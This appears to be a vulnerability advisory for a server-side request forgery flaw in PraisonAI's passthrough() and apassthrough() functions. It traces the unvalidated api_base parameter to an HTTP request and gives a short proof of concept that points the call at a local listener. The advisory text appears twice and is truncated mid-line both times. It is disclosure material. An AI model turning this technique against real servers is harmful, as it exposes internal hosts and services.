PraisonAI is a multi-agent teams system. Prior to version 4.5.90, passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server. This issue has been patched in version 4.5.90.

Affected: PyPI: praisonai

### Summary

`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

### Details

`passthrough.py:92` (source) -> `passthrough.py:109` (fallback trigger) -> `passthrough.py:110` (sink) ```python # source -- api_base taken directly from caller def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback except AttributeError: url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request response = client.request(method, url=url, ...) ```

### PoC ```python # tested on: praisonai 1.5.87 (source install) # install: pip install -e src/praisonai # start listener: python3 -m http.server 8888 import sys, litellm sys.path.insert(0, 'src/praisonai') del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough( endpoint="/ssrf-test", api_base="http://127.0.0.1:8888", method="GET", custom_llm_provider="__nonexistent__", ) print(result) # expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...}) # listener logs: "GET…

Affected: PyPI: praisonai

### Summary

`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

### Details

`passthrough.py:92` (source) -> `passthrough.py:109` (fallback trigger) -> `passthrough.py:110` (sink) ```python # source -- api_base taken directly from caller def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback except AttributeError: url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request response = client.request(method, url=url, ...) ```

### PoC ```python # tested on: praisonai 1.5.87 (source install) # install: pip install -e src/praisonai # start listener: python3 -m http.server 8888 import sys, litellm sys.path.insert(0, 'src/praisonai') del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough( endpoint="/ssrf-test", api_base="http://127.0.0.1:8888", method="GET", custom_llm_provider="__nonexistent__", ) print(result) # expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...}) # listener logs: "GET…